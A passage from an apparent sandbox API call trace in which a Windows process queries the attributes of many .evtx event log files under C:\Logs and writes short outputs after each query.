	[0240.685] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.685] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.690] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.690] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.691] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.691] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.691] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.691] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.692] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.692] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.700] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.700] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.700] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.700] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.708] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.708] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.709] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.709] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0240.709] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.709] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.710] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.710] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.710] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.710] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.711] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.711] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.716] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.716] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.717] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.717] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.728] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.730] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.737] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.738] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.738] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.738] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.738] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.738] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.739] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.739] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.747] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.748] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.748] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.748] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.748] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.748] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.749] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.749] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.749] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.749] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.755] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.755] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0240.757] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.757] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.757] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.757] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.757] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.758] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0240.758] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.758] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
